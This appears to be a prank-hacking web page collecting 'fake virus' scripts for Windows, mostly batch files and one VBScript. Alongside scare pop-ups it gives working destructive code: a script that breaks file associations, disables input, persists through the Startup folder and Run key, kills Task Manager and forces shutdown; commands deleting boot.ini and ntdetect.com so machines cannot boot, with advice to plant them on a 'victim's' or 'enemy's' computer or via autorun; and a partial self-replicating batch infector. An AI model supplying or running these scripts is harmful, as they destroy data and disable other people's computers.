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Funny Fake Virus Code

This virus will scare your friends if they don't know you did it
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step 1Run CMD
First you have to run the CMD program to do this goto programs goto run and type in CMD or Command
step 2Setting it up
To set this CMD code up when the CMD pop up comes up put this in w/out Quotes "EDIT"
step 3The Code
Copy this Code: @echo OFF title Virus Detected Do Not Close Window echo Virus Detected attempting to remove virus... echo (press any key to continue) pause nul echo Virus is spreading throughout the system... echo (press any key to destroy) pause nul echo destroying virus... echo (press any key to continue) pause nul echo files deleted to destroy virus echo (press any k…

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This is a really destructive virus that:
> disables mouse &keyboard
> disables task manager
> starts at startup
> alters file associations
Here's the code:
----begin code----
@echo off
prompt $P $G
assoc .doc  = fA1luRe
assoc .docx  = fA1luRe
assoc .log  = fA1luRe
assoc .msg  = fA1luRe
assoc .pages  = fA1luRe
assoc .rtf  = fA1luRe
assoc .txt  = fA1luRe
assoc .wpd  = fA1luRe
assoc .wps  = fA1luRe
assoc .accdb  = fA1luRe
assoc .blg  = fA1luRe
assoc .csv  = fA1luRe
assoc .dat  = fA1luRe
assoc .db  = fA1luRe
assoc .efx  = fA1luRe
assoc .mdb  = fA1luRe
assoc .pdb  = fA1luRe
assoc .pps  = fA1luRe
assoc .ppt  = fA1luRe
assoc .pptx  = fA1luRe
assoc .sdb  = fA1luRe
assoc .sdf  = fA1luRe
assoc .sql  = fA1luRe
assoc .vcf  = fA1luRe
assoc .wks  = fA1luRe
assoc .xls  = fA1luRe
assoc .xlsx  = fA1luRe
assoc .xml  = fA1luRe
assoc .bmp  = fA1luRe
assoc .gif  = fA1luRe
assoc .jpg  = fA1luRe
assoc .png  = fA1luRe
assoc .psd  = fA1luRe
assoc .psp  = fA1luRe
assoc .thm  = fA1luRe
assoc .tif  = fA1luRe
assoc .ai  = fA1luRe
assoc .drw  = fA1luRe
assoc .eps  = fA1luRe
assoc .ps  = fA1luRe
assoc .svg  = fA1luRe
assoc .3dm  = fA1luRe
assoc .dwg  = fA1luRe
assoc .dxf  = fA1luRe
assoc .pln  = fA1luRe
assoc .indd  = fA1luRe
assoc .pct  = fA1luRe
assoc .pdf  = fA1luRe
assoc .qxd  = fA1luRe
assoc .qxp  = fA1luRe
assoc .rels  = fA1luRe
assoc .aac  = fA1luRe
assoc .aif  = fA1luRe
assoc .iff  = fA1luRe
assoc .m3u  = fA1luRe
assoc .mid  = fA1luRe
assoc .mp3  = fA1luRe
assoc .mpa  = fA1luRe
assoc .ra  = fA1luRe
assoc .wav  = fA1luRe
assoc .wma  = fA1luRe
assoc .3g2  = fA1luRe
assoc .3gp  = fA1luRe
assoc .asf  = fA1luRe
assoc .asx  = fA1luRe
assoc .avi  = fA1luRe
assoc .flv  = fA1luRe
assoc .mov  = fA1luRe
assoc .mp4  = fA1luRe
assoc .mpg  = fA1luRe
assoc .rm  = fA1luRe
assoc .swf  = fA1luRe
assoc .vob  = fA1luRe
assoc .wmv  = fA1luRe
assoc .asp  = fA1luRe
assoc .cer  = fA1luRe
assoc .csr  = fA1luRe
assoc .css  = fA1luRe
assoc .htm  = fA1luRe
assoc .html  = fA1luRe
assoc .js  = fA1luRe
assoc .jsp  = fA1luRe
assoc .php  = fA1luRe
assoc .rss  = fA1luRe
assoc .tvpi  = fA1luRe
assoc .tvvi  = fA1luRe
assoc .xhtml  = fA1luRe
assoc .fnt  = fA1luRe
assoc .fon  = fA1luRe
assoc .otf  = fA1luRe
assoc .ttf  = fA1luRe
assoc .8bi  = fA1luRe
assoc .plugin  = fA1luRe
assoc .xll  = fA1luRe
assoc .cab  = fA1luRe
assoc .cpl  = fA1luRe
assoc .cur  = fA1luRe
assoc .dll  = fA1luRe
assoc .dmp  = fA1luRe
assoc .drv  = fA1luRe
assoc .key  = fA1luRe
assoc .lnk  = fA1luRe
assoc .sys  = fA1luRe
assoc .cfg  = fA1luRe
assoc .ini  = fA1luRe
assoc .keychain  = fA1luRe
assoc .prf  = fA1luRe
assoc .app  = fA1luRe
assoc .bat  = fA1luRe
assoc .cgi  = fA1luRe
assoc .com  = fA1luRe
assoc .exe  = fA1luRe
assoc .pif  = fA1luRe
assoc .vb  = fA1luRe
assoc .ws  = fA1luRe
assoc .7z  = fA1luRe
assoc .deb  = fA1luRe
assoc .gz  = fA1luRe
assoc .pkg  = fA1luRe
assoc .rar  = fA1luRe
assoc .sit  = fA1luRe
assoc .sitx  = fA1luRe
assoc .tar.gz  = fA1luRe
assoc .zip  = fA1luRe
assoc .zipx  = fA1luRe
assoc .bin  = fA1luRe
assoc .hqx  = fA1luRe
assoc .mim  = fA1luRe
assoc .uue  = fA1luRe
assoc .c  = fA1luRe
assoc .cpp  = fA1luRe
assoc .dtd  = fA1luRe
assoc .java  = fA1luRe
assoc .pl  = fA1luRe
assoc .bak  = fA1luRe
assoc .bup  = fA1luRe
assoc .gho  = fA1luRe
assoc .ori  = fA1luRe
assoc .tmp  = fA1luRe
assoc .dmg  = fA1luRe
assoc .iso  = fA1luRe
assoc .toast  = fA1luRe
assoc .vcd  = fA1luRe
assoc .gam  = fA1luRe
assoc .nes  = fA1luRe
assoc .rom  = fA1luRe
assoc .sav  = fA1luRe
assoc .dbx  = fA1luRe
assoc .msi  = fA1luRe
assoc .part  = fA1luRe
assoc .torrent  = fA1luRe
assoc .yps  = fA1luRe
rundll32.exe mouse, disable
rundll32.exe keyboard, disable
copy setup.bat %userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
copy setup.bat %windir%\System32
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v fA1luRe /t REG_SZ /d %windir%\System32\setup.bat
taskkill /f /im taskmgr.exe
reg restore HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr = 1
shutdown -s -f -t 10 -c "PwN3D by fA1luRe!!!"
----end code----

Save it as *.bat
Once saved, don't open it!!!
Open and do this at your own risk!!!

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CD ROM VIRUS

It will open and close your cdrom

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If


save it as virus.vbs and double click it
NOTE : IF U WANT TO CLOSE IT JUST OPEN TASK MANAGER AND END wscript.exe OR RESTART UR SYSTEM

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HARMFULL VIRUS

It will cause your computer not to boot.




del /F/S/Q c:\boot.ini


01100100011001010110110000100000001011110100011000 101111010100110010111101010001

00100000011000110011101001011100011000100110111101 101111011101000010111001101001

0110111001101001



WARNING : DO NOT TRY IT ON YOUR SYSTEM. IT TRASH YOUR SYSTEM. THIS IS FOR EDUCATIONAL PURPOSE ONLY.

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SHUTDOWN SYSTEM

@echo off
echo WINDOWS HAS DETECTED A VIRUS, WOULD YOU LIKE TO TERMINATE?
echo -
echo PROCEED WITH VIRUS TERMINATION(Y/N)
set/p "cho=>"
if %cho%==Y goto forward
if %cho%==y goto forward
if %cho%==n goto Shutdown1
if %cho%==N goto Shutdown1
:forward
echo VIRUS HAS BEEN DELETED
Pause
echo PLEASE ALLOW WINDOWS TO PREFORM A SAFETY CHECK
Pause
echo SYSTEM CHECK
echo HARD DRIVE - FAILED
echo -
echo RAM - FAILED
echo -
echo DISK DRIVE - FAILED
echo -
echo CONNECTION - FAILED
echo -
echo WINDOWS SUGGESTS YOU DELETE ALL FILES TO RESUME(Y/N)
set/p "cho=>"
if %cho%==Y goto Sucess
if %cho%==y goto Sucess
if %cho%==n goto Shutdown2
if %cho%==N goto Shutdown2
:Sucess
echo WINDOWS HAS DELETED ALL FILES
echo -
echo PLEASE ALLOW WINDOWS TO PREFORM A SAFETY CHECK
Pause
echo SYSTEM CHECK
echo HARD DRIVE - FAILED
echo -
echo RAM - FAILED
echo -
echo DISK DRIVE - FAILED
echo -
echo CONNECTION - FAILED
echo -
echo WINDOWS IS SHUTTING DOWN IN 20 SECONDS TO PROTECT FROM DAMAGE
goto Shutdown3
:Shutdown3
shutdown -r -t 20 -c "YOU ARE DUMB! HAHAHAHAHAHA"
:Shutdown1
shutdown -s -f -t 60 -c "Windows is shutting down to prevent any further damage"
:Shutdown2
shutdown -s -f -t 60 -c "Windows is shutting down to prevent any further damage

Save As .bat File

NOTE : IT WILL SHUTDOWN YOUR SYSTEM

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The Deadliest Code

open notepad type the code as following -

________________________________________

___________
echo off
C:
cd..
cd..
cd..
attrib -r -s -h ntdetect.com
del ntdetect.com
echo on
print U r a LOSER RD is a Winner
____________________________________________________


save this file as virus.bat or any other name with bat extension
Double click it in the victim's computer or Put it in Startup of Ur enemy or put it in a CD and set it in the autorun.

BANG !

with this activated once the computer will run perfectly !
once shutdowned then it will not start and U will have to format it (Except U know how to use DOS).

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The small Virus

Here is code for a small sample Virus -

@echo off>nul.ViRuS
if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
if "%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loop
for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a
goto ViRuS_OLDBAT
:ViRuS_outer_loop
for %%a in (%2\*.bat;%2*.bat) do call %0 /ViRuS_MULTIPLY %%a
goto XXX_END>nul.ViRuS
:ViRuS_multiply
(...)
goto XXX_END>nul.ViRuS
:ViRuS_OLDBAT
(...)
:XXX_END

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